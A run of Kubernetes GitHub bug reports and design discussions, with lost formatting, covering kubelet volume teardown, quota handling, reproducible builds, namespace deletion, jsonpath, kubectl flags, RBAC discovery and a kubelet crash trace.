4.4.35+  1 smp wed apr 5 13:00:57 pdt 2017 x86_64 intel r  xeon r  cpu @ 2.30ghz genuineintel gnu/linux\r    \r \r - install tools:\r \r gcloud container create\r \r - others:\r

is this a bug report or feature request?  :\r bug report\r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r i have a k8s cluster 1.6.4 , all components run as static pods expect that kubelet runs as a normal docker container bootstrapped by a systemd service . all conponents are started using hyperkube image\r now i shutdown a node  saying node a  , user pods on that node successfully migrate onto another node\r but after started node a again, user pods on this node be always be terminating\r kubelet logs on node a:\r \r > jul 13 16:54:15 host-20-20-20-201 kubelet 9744 : e0713 08:54:15.666305    9785 nestedpendingoperations.go:262  operation for \ \\\ kubernetes.io/secret/b1a82f2a-67a1-11e7-93d5-fa163e1a2c07-default-token-cxhvh\\\   \\\ b1a82f2a-67a1-11e7-93d5-fa163e1a2c07\\\  \  failed. no retries permitted until 2017-07-13 08:56:15.666273944 +0000 utc  durationbeforeretry 2m0s . error: unmountvolume.teardown failed for volume \ kubernetes.io/secret/b1a82f2a-67a1-11e7-93d5-fa163e1a2c07-default-token-cxhvh\   volume.spec.name: \ default-token-cxhvh\   pod \ b1a82f2a-67a1-11e7-93d5-fa163e1a2c07\   uid: \ b1a82f2a-67a1-11e7-93d5-fa163e1a2c07\   with: remove /var/lib/kubelet/pods/b1a82f2a-67a1-11e7-93d5-fa163e1a2c07/volumes/kubernetes.io~secret/default-token-cxhvh: device or resource busy\r \r it's very similar with https://github.com/kubernetes/kubernetes/issues/22911\r and https://github.com/kubernetes/kubernetes/pull/27054 beleives this issue has already been fixed\r \r then i tried to restart kubelet service, and then all terminating user pods on node a are terminated\r but kubelet logs throw errors constantly :\r \r > jul 13 17:11:17 host-20-20-20-201 kubelet 12931 : e0713 09:11:17.918192   12972 kubelet_volumes.go:114  orphaned pod \ b1a84483-67a1-11e7-93d5-fa163e1a2c07\  found, but volume paths are still present on disk.\r \r \r \r   what you expected to happen  :\r user pods on node a are terminated successfully without restarting kubelet service manually\r   how to reproduce it  as minimally and precisely as possible   :\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r > \\  kubectl version\r > client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+d6f433224538d\ , gitcommit:\ dcd97c39eb8c0e388170721eac0da4eaef92e79b\ }\r > server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4+d6f433224538d\ , gitcommit:\ dcd97c39eb8c0e388170721eac0da4eaef92e79b\ }\r \r - cloud provider or hardware configuration  :\r - os  e.g. from /etc/os-release : \r \r > centos 7.2\r \r - kernel  e.g.  uname -a  : \r \r > linux host-20-20-20-201 3.10.0-514.6.1.el7.x86_64  1 smp thu feb 16 19:50:09 cst 2017 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools: customized kargo\r - others:\r

 \r a quota-limited user put a large number for replicas in a replica set.\r \r   what happened  : the controller attempted to start 500 pods even though the quota only allowed 5 pods. a large number of requests were made for each controller pass, and an enormous volume of failure events was generated.\r \r   what you expected to happen  : the controller should realize that pod creation is failing and skip the later pod creation attempts.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r 1. create a namespace and add a quota to the namespace\r    kubectl create quota my-quota --hard=pods=5   \r 2. create a replica set in the namespace with a number that far exceeds the quota\r 3. watch the controller logs and events\r \r   anything else we need to know?  :\r \r fix in https://github.com/kubernetes/kubernetes/pull/49142

 \r   what happened  :\r when building kubernetes-1.7.0 packages for opensuse, results differ for each build in  /usr/share/man/man1/kubectl.1  and other man pages.\r > -\\fb\\-\\-cloud\\-provider\\-gce\\-lb\\-src\\-cidrs\\fp=209.85.152.0/22,209.85.204.0/22,130.211.0.0/22,35.191.0.0/16\r > +\\fb\\-\\-cloud\\-provider\\-gce\\-lb\\-src\\-cidrs\\fp=35.191.0.0/16,209.85.152.0/22,209.85.204.0/22,130.211.0.0/22\r \r coming from  pkg/cloudprovider/providers/gce/gce_loadbalancer.go \r that uses  netsets.parseipnets   string{\ 130.211.0.0/22\ , \ 35.191.0.0/16\ , \ 209.85.152.0/22\ , \ 209.85.204.0/22\ }...  \r and probably sets do not have any specific order, so it would need to be sorted on output.\r \r   what you expected to happen  :\r every build should give identical results. see https://reproducible-builds.org/ for why this matters.\r \r   how to reproduce it  as minimally and precisely as possible   :\r see  48710\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version: 1.7.0\r - os  e.g. from /etc/os-release : opensuse tumbleweed\r

is this a bug report or feature request?  :\r  \r   what happened  : if you perform a namespaced delete collection on a non-namespaced resource it will delete all instances of that resource. this is especially dangerous as the namespacecontroller will issue a namespace delete collection for all resources on the terminating namespace.\r \r   what you expected to happen  : i expected a 4xx error explaining that you cannot perform a namespaced delete collection on this resource.\r \r   how to reproduce it  as minimally and precisely as possible   :\r install the sample api-server.\r create an extra namespaces, bar.\r create a fischer  either in the default namespace or a namespace foo .  fischer is still not namespaced, flunder is now namespaced, check staging/src/k8s.io/sample-apiserver/pkg/registry/wardle/fischer/strategy.go \r then either curl or delete the namespace bar and wait for it to actually be deleted.\r curl  curl -k -v -xget  -h \ user-agent: kubectl/v1.8.0  linux/amd64  kubernetes/49ae996\  -h \ accept: application/vnd.kubernetes.protobuf\  -h \ authorization: bearer <token/>\  https://<master ip/>/apis/wardle.k8s.io/v1alpha1/namespaces/bar/fischers\r delete namespace  kubectl delete namespace bar\r \r kubectl get fischers  expect something to get something back \r \r   anything else we need to know?  : leaving as an exercise for the implementer issues like should other namespace operations also fail but at a minimum the delete collection should.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.8.0\r - cloud provider or hardware configuration  : gce\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r  @kubernetes/sig-instrumentation-bugs \r \r \r   what happened  :\r since at least the weekend, the alpha e2e suites have been intermittently failing because a few monitoring services failed to come up running.\r \r https://k8s-testgrid.appspot.com/google-gce gci-gce-alpha-features\r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r  sig-cli  kubectl client  k8s.io  kubectl cluster-info should check if kubernetes master services is included in cluster-info  conformance  10s\r \r \r e2e test \ gci-gce\  is running in 2 versions:\r   with kube-dns as dns service : https://k8s-testgrid.appspot.com/sig-network-gce gci-gce\r   with coredns as dns service : https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-coredns\r \r \r in coredns use case the test is failing\r \r    \r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/framework.go:674\r mar 14 13:25:46.616: missing kubedns in kubectl cluster-info\r /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/kubectl/kubectl.go:783\r    \r \t\t\t\t\r   what you expected to happen  :\r this e2e tests should not depend on what dns service is running as default in k8s.\r \r coredns is currently beta, will move to ga soon  after v1.10 though \r see : https://github.com/kubernetes/features/issues/427\r \r   how to reproduce it  as minimally and precisely as possible   :\r look at logs of dashboard : https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-coredns\r \r \r  go run hack/e2e.go -v --test --test_args='--ginkgo.focus=\\ sig\\-cli\\ \\skubectl\\sclient\\s\\ k8s\\.io\\ \\skubectl\\scluster\\-info\\sshould\\scheck\\sif\\skubernetes\\smaster\\sservices\\sis\\sincluded\\sin\\scluster\\-info\\s\\s\\ conformance\\ $'\r  \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : branch master\r - cloud provider or hardware configuration: gce\r - install tools: deployment intra-test\r - others: see https://k8s-testgrid.appspot.com/sig-network-gce gci-gce-coredns\r \r

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r \r   what happened  :\r in case of nested expressions in jsonpath some parts are executed in wrong context\r \r consider the following jsonpath expression:\r    \r kubectl get nodes -o jsonpath=\ {range .items   }{@.metadata.name}-{@.spec.podcidr}-{range @.status.addresses ? @.type == 'internalip'  }{@.address}{end}_before-item-end_{end}_end-of-file_\ \r    \r \r i expect part _before-item-end_ to be executed for each item. instead it is being executed only once at the end of the output.\r \r   what you expected to happen  :\r see \   what happened  \  paragraph. i expect part _before-item-end_  that is located between 2 {end}  to be executed for each item. instead it is being executed only once at the end of the output.\r \r \r   how to reproduce it  as minimally and precisely as possible   :\r just run for cluster with several nodes\r    \r kubectl get nodes -o jsonpath=\ {range .items   }{@.metadata.name}-{@.spec.podcidr}-{range @.status.addresses ? @.type == 'internalip'  }{@.address}{end}_before-item-end_{end}_end-of-file_\ \r    \r and check that \ _before-item-end_\  is not executed before each item end as expected.\r \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r checked with several kubectl versions. latest was used - 1.9.5\r client version: version.info{major:\ 1\ , minor:\ 9\ , gitversion:\ v1.9.5\ , gitcommit:\ f01a2bf98249a4db383560443a59bed0c13575df\ , gittreestate:\ clean\ , builddate:\ 2018-03-19t15:59:24z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.8\ , gitcommit:\ 2f73858c9e6ede659d6828fe5a1862a48034a0fd\ , gittreestate:\ clean\ , builddate:\ 2018-02-09t21:23:25z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r \r - cloud provider or hardware configuration:\r hardware cluster\r \r - os  e.g. from /etc/os-release :\r server: centos\r client: xubuntu 17.04\r \r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

is this a bug report or feature request?  :\r bug report\r \r > uncomment only one, leave it on its own line:\r >\r  \r   what happened  :\r deleting  csi  volume takes a long time. finally, a/d controller has to enforce detaching since  maxwaitforunmountduration  has expired.\r \r   what you expected to happen  :\r \r   how to reproduce it  as minimally and precisely as possible   :\r    kubernetes  1.10.2 on bare metal\r   use  kubeadm  to deploy  kubernetes  cluster\r   create csi pvc, and then delete it.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:

<!-- this form is for bug reports and feature requests only!\r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/.\r -->\r \r   is this a bug report or feature request?  :\r  \r _possible bug!_\r \r   what happened  :\r when running some simple  kubectl create deployment  tests with the  --template  and  --dry-run  flags i've seen some strange behavior. i ran the following commands:\r    \r run 1:\r $> kubectl create deployment my-dep --image nginx --template='foo' --dry-run\r deployment.extensions \ my-dep\  created  dry run \r \r run 2:\r $> kubectl create deployment my-dep --image nginx --template='' --dry-run\r deployment.extensions \ my-dep\  created  dry run \r \r run 3:\r $> kubectl create deployment my-dep --image nginx --template= --dry-run\r deployment.extensions \ my-dep\  created  dry run \r \r run 4:\r $> kubectl create deployment my-dep --image nginx --template --dry-run\r deployment.extensions \ my-dep\  created\r \r run 5:\r $> kubectl create deployment my-dep --image nginx --dry-run --template\r error: flag needs an argument: --template\r \r run 6:\r $> kubectl create deployment my-dep --image nginx --dry-run --template=''\r deployment.extensions \ my-dep\  created  dry run \r    \r \r in the fourth attempt, the deployment gets created although the usage of the  --template  flag is wrong  no argument  _and_ the  --dry-run  flag are set. i've seen the same behavior as above but with the  --sort-by  flag when it's set without any arguments. \r \r the order of the flags seems to be important, when the  --dry-run  flag are set before the  --template  and  --sort-by  flags kubectl exits with an error. see the fifth run above.\r \r i looked through the issues and tried to find any mentioning anything similar to this but without any luck.\r \r   what you expected to happen  :\r running  kubectl create  as below should result in a  error: flag needs an argument: --template  message and the deployment should not be created as shown above.\r \r    \r $> kubectl create deployment my-dep --image nginx --template --dry-run \r    \r \r   how to reproduce it  as minimally and precisely as possible   :\r basically by running the commands mentioned above in the   what happened  -section, i tested this on a vm based cluster in gce and minikube   v0.27.0   locally on my laptop.\r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.2\ , gitcommit:\ 81753b10df112992bf51bbc2c2f85208aad78335\ , gittreestate:\ clean\ , builddate:\ 2018-04-27t09:22:21z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-26t16:44:10z\ , goversion:\ go1.9.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release : \r  mac osx 10.13.5 \r - kernel  e.g.  uname -a  : \r  darwin kernel version 17.6.0 \r - install tools:\r - others:\r

<!-- please only use this template for submitting enhancement requests -->\r \r   what would you like to be added  :\r if pod's finalizer list is not empty, kubelet should keep it running until its finalizer list is empty even its deletion timestamp is set.\r \r   why is this needed  :\r if i understand it correctly,  finalizer works as a pre-delete hook. we create ingress for pods, and want to remove pod from ingress firstly before terminating it, then we could avoid request traffic are sent to pods that are not running. \r \r 

this issue captures the results of a conversation between @satnam6502 , @vishh and @jackgr regarding the use of  cluster-insight  https://github.com/google/cluster-insight  to collect and publish cluster configuration for the  graph tab  https://github.com/kubernetes-ui/graph  developed for the kubernetes ui. see also the related discussion in  8716.  cc: @vasbala, @erangabber, @supriyagarg, @rimey, @bgrant0607    overview  the graph tab provides a visualization of a running cluster based on the  d3 force layout  https://github.com/mbostock/d3/wiki/force-layout , showing all of the objects in the cluster and the relationships between them. it also provides two detailed views of the properties of a selected object: a summary view on the main page that displays a few properties, and a complete view on a child page that displays all of the properties.  the information presented includes: - objects and relationships exposed by the kubernetes api server  e.g., nodes, pods, replication controllers, services, namespaces, etc. ,  - objects and relationships exposed by the docker daemon on each cluster node  e.g., containers, processes, images , and  - relationships among all of the objects that can be inferred  e.g., between a replication controller and its pods, between a service an its pods, between a container and its processes, etc. .  rather than attempt to collect, analyze and organize all of this information on the client, we chose to write a kubernetes service that does that work on the server side. using a service has several advantages, such as: - simplifying the client by allowing it to focus exclusively on presentation,  - hiding details from the client that might change over time by providing the cluster configuration information as an untyped json document,  - reducing load on the cluster from multiple clients by caching the information and making it available on demand, and  - separating the collection and publication of cluster configuration from the graph tab or any other client, so that it can be used for a variety of purposes.   cluster insight design  cluster insight is a set of python scripts that run inside a vanilla python container.  see  the docker file  https://github.com/google/cluster-insight/blob/master/collector/dockerfile  for details.   as revealed by the docker file, it runs in one of two modes:  - in minion mode, it acts as a read only proxy for the local docker daemon, providing read only access to the data it exposes, and  - in master mode, it acts as an aggregator and cache, collecting information from the kubernetes api server and from the minions, processing it, storing it, and returning it on demand in response to queries.  two aspects of this design were cause for concern in the discussion on  8716: - in order to read from the docker daemon, the python script must run as root, or as a member of the docker group, and - in order to retrieve information about docker running on every node, the script must run in minion mode on every node.   alternative solutions  in practice, these issues may not be as severe as suggested by the discussion on  8716, since: - most containers commonly run their processes as root,  - cluster-insight has a very small memory and cpu footprint in minion mode, and  - cluster-insight does not provide write access to the docker daemon.  nevertheless, it was agreed that we should investigate the possibility of using cadvisor, which already runs on every node within the kubelet, to collect and publish configuration information, in addition to the information it already collects and publishes, which is primarily performance oriented, but does reveal some aspects of configuration.   use cases  in order to support focused discussion about alternative solutions, it was agreed that we should enumerate the key use cases for the configuration collection and publication service. the following use cases were identified and discussed: - collecting the current actual configuration and making it available in response to queries, in order to support visualizations and other consumers. - collecting the most recently supplied configuration, so that it can be compared with the current actual configuration to determine whether or not the latter contains values that deviate from the intended values. - collecting the most recently supplied configuration, so that it can be used to provide defaults when updates do not specify values for all possible parameters, since it captures user preferences from previous configuration updates. - collecting historical information about configuration changes, so that it can be correlated with events, logs and monitoring data to support anomaly detection and other forms of programmatic analysis.   issues  the following issues were identified and examined during the discussion: - we should consider the general problem of collecting and publishing cluster configuration information in a holistic way, instead of focusing on the needs of a specific client or use case. - configuration information collected by this service might overlap with similar information maintained by the api server, or as annotations on objects stored in etcd, and should perhaps be combined with it to reduce storage overhead. - it might be possible to collect the most recently supplied configuration directly from the deployment process by pushing new configuration to a configuration store, rather than to the api server, and then starting processes to make the actual configuration conform to it. - different container engines may expose different configuration values, despite efforts to standardize their interfaces and configuration formats. we do not want to choose which container engines to support and which to ignore, or to keep up with changes in container engine apis that have historically evolved rapidly and may continue to do so for some. - some of the information already collected by cadvisor may overlap with some of the information currently collected by cluster-insight. we need a pass over the two information sets to reconcile them. in the process, we might also want to make some judgements regarding the value of specific configuration values, in order to reduce the number of values we collect, store and publish.

is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see http://kubernetes.io/docs/troubleshooting/. : no\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : namespace terminating 1.4.6\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r   kubernetes version    use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 3\ , gitversion:\ v1.3.4\ , gitcommit:\ dd6b458ef8dbf24aff55795baa68f83383c9b3a9\ , gittreestate:\ clean\ , builddate:\ 2016-08-01t16:45:16z\ , goversion:\ go1.6.2\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.6\ , gitcommit:\ e569a27d02001e343cb68086bc06d47804f62af6\ , gittreestate:\ clean\ , builddate:\ 2016-11-12t05:16:27z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release : ubuntu 16.04\r -   kernel    e.g.  uname -a  : 4.4.0-47-generic\r -   install tools  : n.a\r -   others  : n.a\r \r \r   what happened  :\r after upgrading our cluster from 1.4.0 to 1.4.6, when deleting a namespace it gets stuck in terminating.\r \r   what you expected to happen  :\r have the namespace deleted.\r \r   how to reproduce it    as minimally and precisely as possible :\r upgrade from 1.4.0 to 1.4.6 and delete a namespace. \r \r   anything else do we need to know  :\r i found https://github.com/kubernetes/kubernetes/issues/19317 and https://github.com/kubernetes/kubernetes/issues/37278, but one is specific to thirdpartyresources and the other one to openshift. this issue happens on all namespaces with no special finalizer or thirdpartyresource.\r

what keywords did you search in kubernetes issues before filing this one?   \r - system:discovery\r - nonresourceurls\r \r ---\r   problem description  \r shouldn't the system:discovery cluster role also allow listing the api server's root url? it allows urls like  /api ,  /apis ,  /healthz , but not  / , which would help in discovering api endpoints.\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1\ , gitcommit:\ b0b7a323cc5a4a2019b2e9520c21c7830b7f708e\ , gittreestate:\ clean\ , builddate:\ 2017-04-03t20:44:38z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.0\ , gitcommit:\ fff5156092b56e6bd60fff75aad4dc9de6b6ef37\ , gittreestate:\ dirty\ , builddate:\ 2017-04-07t20:43:50z\ , goversion:\ go1.7.1\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : minikube with rbac enabled\r \r \r   what happened  :\r    \r $ curl https://$ minikube ip :8443/ -k\r user \ system:anonymous\  cannot get  at the cluster scope.\r \r $ curl https://$ minikube ip :8443/api -k\r {\r   \ kind\ : \ apiversions\ ,\r   \ versions\ :  \r     \ v1\ \r    ,\r   \ serveraddressbyclientcidrs\ :  \r     {\r       \ clientcidr\ : \ 0.0.0.0/0\ ,\r       \ serveraddress\ : \ 10.0.2.15:8443\ \r     }\r    \r }\r    \r \r   what you expected to happen  :\r    \r $ curl https://$ minikube ip :8443/ -k\r {\r   \ paths\ :  \r     \ /api\ ,\r     \ /api/v1\ ,\r     \ /apis\ ,\r     \ /apis/apps\ ,\r     \ /apis/apps/v1beta1\ ,\r     \ /apis/authentication.k8s.io\ ,\r     \ /apis/authentication.k8s.io/v1\ ,\r     \ /apis/authentication.k8s.io/v1beta1\ ,\r     \ /apis/authorization.k8s.io\ ,\r     \ /apis/authorization.k8s.io/v1\ ,\r     \ /apis/authorization.k8s.io/v1beta1\ ,\r     \ /apis/autoscaling\ ,\r     \ /apis/autoscaling/v1\ ,\r     \ /apis/autoscaling/v2alpha1\ ,\r     \ /apis/batch\ ,\r     \ /apis/batch/v1\ ,\r     \ /apis/batch/v2alpha1\ ,\r     \ /apis/certificates.k8s.io\ ,\r     \ /apis/certificates.k8s.io/v1beta1\ ,\r     \ /apis/extensions\ ,\r     \ /apis/extensions/v1beta1\ ,\r     \ /apis/policy\ ,\r     \ /apis/policy/v1beta1\ ,\r     \ /apis/rbac.authorization.k8s.io\ ,\r     \ /apis/rbac.authorization.k8s.io/v1alpha1\ ,\r     \ /apis/rbac.authorization.k8s.io/v1beta1\ ,\r     \ /apis/settings.k8s.io\ ,\r     \ /apis/settings.k8s.io/v1alpha1\ ,\r     \ /apis/storage.k8s.io\ ,\r     \ /apis/storage.k8s.io/v1\ ,\r     \ /apis/storage.k8s.io/v1beta1\ ,\r     \ /healthz\ ,\r     \ /healthz/ping\ ,\r     \ /healthz/poststarthook/bootstrap-controller\ ,\r     \ /healthz/poststarthook/ca-registration\ ,\r     \ /healthz/poststarthook/extensions/third-party-resources\ ,\r     \ /healthz/poststarthook/rbac/bootstrap-roles\ ,\r     \ /logs\ ,\r     \ /metrics\ ,\r     \ /swaggerapi/\ ,\r     \ /ui/\ ,\r     \ /version\ \r    \r }\r    \r \r \r

/ref https://github.com/kubernetes/features/issues/285\r \r the  spec.maxunavailable  field addition in https://github.com/kubernetes/kubernetes/pull/45587 makes the previously   required   field  spec.minavailable    optional   in the api. \r given that the resource is currently in the v1beta1 group, it would break existing clients and be in violation of our  deprecation policy  https://github.com/kubernetes/kubernetes/blob/master/docs/api.md api-changes .\r the proposed solution is to modify  spec.minavailable  to 0  instead of making it optional  and deprecating it; with the intention of removing it entirely in the next version.\r \r cc @bgrant0607 @lavalamp @mml @erictune @kow3ns @kubernetes/sig-apps-api-reviews @kubernetes/sig-api-machinery-api-reviews

<!-- this form is for bug reports and feature requests only! \r \r if you're looking for help check  stack overflow  https://stackoverflow.com/questions/tagged/kubernetes  and the  troubleshooting guide  https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/ .\r -->\r \r   is this a bug report or feature request?  :\r \r  \r \r   what happened  :\r kubelet crashed:  fatal error: concurrent map writes \r \r <details>\r \r    \r jun 26 07:10:21 pi5 kubelet 716 : fatal error: concurrent map writes\r jun 26 07:10:21 pi5 kubelet 716 : goroutine 431  running :\r jun 26 07:10:21 pi5 kubelet 716 : runtime.throw 0x3404d19, 0x15 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/panic.go:596 +0x70 fp=0x4421091980 sp=0x4421091960\r jun 26 07:10:21 pi5 kubelet 716 : runtime.mapassign 0x2e46a60, 0x4420764ed0, 0x4421091b10, 0x4421000d08 \r jun 26 07:10:21 pi5 kubelet 716 : /usr/local/go/src/runtime/hashmap.go:499 +0x5ac fp=0x4421091a20 sp=0x4421091980\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet/cm.  containermanagerimpl .getnodeallocatablereservation 0x44201ecf00, 0x4421077200 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/cm/node_container_manager.go:191 +0x528 fp=0x4421091e10 sp=0x4421091a20\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .setnodestatusmachineinfo 0x4420b92000, 0x4420b45080 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:592 +0x6a8 fp=0x4421092b40 sp=0x4421091e10\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .setnodestatusinfo 0x4420b92000, 0x4420b45080 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:669 +0x28 fp=0x4421092b60 sp=0x4421092b40\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet . k8s.io/kubernetes/pkg/kubelet.setnodestatusinfo -fm 0x4420b45080 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:973 +0x28 fp=0x4421092b80 sp=0x4421092b60\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .defaultnodestatusfuncs.func1.1 0x4420b45080, 0x0, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:967 +0x28 fp=0x4421092b90 sp=0x4421092b80\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .setnodestatus 0x4420b92000, 0x4420b45080 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:955 +0x4c fp=0x4421092bf0 sp=0x4421092b90\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .initialnode 0x4420b92000, 0x442038bb10, 0x3, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_node_status.go:332 +0x67c fp=0x4421092fd0 sp=0x4421092bf0\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .getnodeanyway 0x4420b92000, 0x16f8a148, 0x512c120, 0x0 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_getters.go:209 +0x28 fp=0x4421093010 sp=0x4421092fd0\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .gethostipanyway 0x4420b92000, 0x44210931f0, 0x1, 0xffffffffffffffff, 0x0, 0x4420d58c40 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_getters.go:229 +0x20 fp=0x4421093050 sp=0x4421093010\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .generateapipodstatus 0x4420b92000, 0x4420b8fb00, 0x4420e9df80, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ... \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet_pods.go:1221 +0x528 fp=0x4421093460 sp=0x4421093050\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet .syncpod 0x4420b92000, 0x0, 0x4420b8fb00, 0x2, 0x4420e9df80, 0x0, 0x442106ae40, 0x4 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:1487 +0x288 fp=0x4421093d80 sp=0x4421093460\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  kubelet . k8s.io/kubernetes/pkg/kubelet.syncpod -fm 0x0, 0x4420b8fb00, 0x2, 0x4420e9df80, 0x0, 0x0, 0x4420e9df80 \r jun 26 07:10:21 pi5 kubelet 716 : /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/pkg/kubelet/kubelet.go:767 +0x2c fp=0x4421093dd0 sp=0x4421093d80\r jun 26 07:10:21 pi5 kubelet 716 : k8s.io/kubernetes/pkg/kubelet.  podworkers .managepodloop.func1 0x4420c6af10, 0x4420767110, 0x4421093ef8, 0x405901, 0x2 \r jun 26 07:10:21 pi5 kubelet 716 : 